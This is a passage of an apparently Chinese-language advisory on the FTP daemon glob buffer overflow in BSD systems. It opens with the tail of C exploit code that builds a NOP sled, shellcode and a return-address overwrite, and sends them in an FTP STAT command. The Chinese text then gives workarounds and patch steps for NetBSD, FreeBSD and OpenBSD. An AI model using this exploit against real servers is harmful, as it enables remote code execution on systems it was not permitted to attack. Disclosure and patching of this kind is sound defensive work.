char user[] = "user";
char pass[] = "pass";
memset(heh,0x90,sizeof(heh));
memcpy(heh+sizeof(heh)-strlen(hellc0de),hellc0de,strlen(hellc0de));
memset(k,'A',sizeof(k));
*(long *)&heh[252]=RET - offset;
heh[257]='\0';
printf("user %s\n",user);
printf("pass %s\n",pass);
printf("MKD %s\r\n",k);
printf("STAT A*/../A*/../A*/%s%s" ,heh,"\r\n");
}
-------------------------------------------------------------------------------
建议:
临时解决方法:
如果您不需要FTP服务,就暂时关闭FTP服务。
或者禁止匿名用户拥有可写目录。
厂商补丁:
NetBSD已经提供了相关的补丁,可以通过CVS或者FTP下载:
Release CVS branch SUP collection FTP directory
-------------------------------------------------------------------
1.4 netbsd-1-4 release-1-4 /pub/NetBSD/NetBSD-release-1-4
1.5 netbsd-1-5 release-1-5 /pub/NetBSD/NetBSD-release-1-5
current HEAD current /pub/NetBSD/NetBSD-current
FreeBSD 已经提供了相应的补丁程序:
FreeBSD 4.x的补丁:
# fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch
# fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch.asc
FreeBSD 3.x的补丁:
# fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch
# fetch ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch.asc
以root身份执行下列命令:
# cd /usr/src
# patch -p < /path/to/patch
# cd /usr/src/lib/libc
# make all install
# cd /usr/src/libexec/ftpd
# make all install
OPENBSD也提供了针对2.8的补丁程序:
ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.8/common/025_glob.patch